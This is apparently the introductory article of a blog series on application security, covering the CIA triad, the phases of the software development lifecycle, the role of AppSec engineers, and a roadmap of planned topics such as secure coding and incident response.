These 3 principles are called CIA Triad:

C - Confidentiality:
Only authorized entities have access to specified resource or information and no one else.
I - Integrity:
Data saves its accuracy and consistency during its entire lifecycle, being protected from unauthorized alteration or destruction.
A - Availability:
Even in the event of failures or attacks, data and services are continuously available to authorized users.

Ensuring these principles are defended allows our application to be secure. This is an ongoing process that begins with planning and continues through maintenance.
The goal of AppSec engineer is to ensure security on every stage of software development lifecycle (SDLC).

Software Development Lifecycle (SDLC)

The software development lifecycle is a step-by-step process used to create software in a systematic and efficient way.
It consists of 6 phases:

Requirements:
Setting goals, defining project's scope and understanding what the users need from software
Design:
Planning the structure and layout of the system, ensuring it meets all requirements
Development:
Writing the actual code to build the software.
Testing:
Checking the software to ensure it works correctly and is free of bugs.
Deployment:
Releasing the software for users to access and use.
Maintenance:
Updating and fixing the software as needed after it is in use.

We aim to implement security at each phase of the SDLC because the earlier vulnerabilities are detected, the lower the cost and effort required to fix them, preventing costly and complex issues later.
The approximate comparison of the cost of mitigating a security issue can be illustrated as follows:

The Role of AppSec Engineers

An AppSec engineer is one of the most important stakeholders responsible for security. They should know methodologies applicable at the application layer to detect and mitigate malicious traffic in order to build systems where potential threats are recognized and remediated before they can cause harm.

In addition to prevention measures, AppSec engineers play a big role in incident response. They collaborate with incident response teams and provide expertise on application-specific security concerns. An AppSec engineer's involvement is essential for detection, mitigation and post-incident analysis, helping to develop strategies to prevent incidents in future.

In this series of articles we will focus on best security practices at each phase of SDLC, explore such techniques such as JA3, JA4+, HTTP/2 fingerprinting and cover fundamentals of incident response.

Series Roadmap

Please note the roadmap is subject to change.

Introduction to Application Security (you are here)
Security in Requirements Phase
Secure Design Principles
Secure Coding Principles
Security in Testing
Secure deployment & maintenance
Application layer fingerprinting
Fundamentals of incident response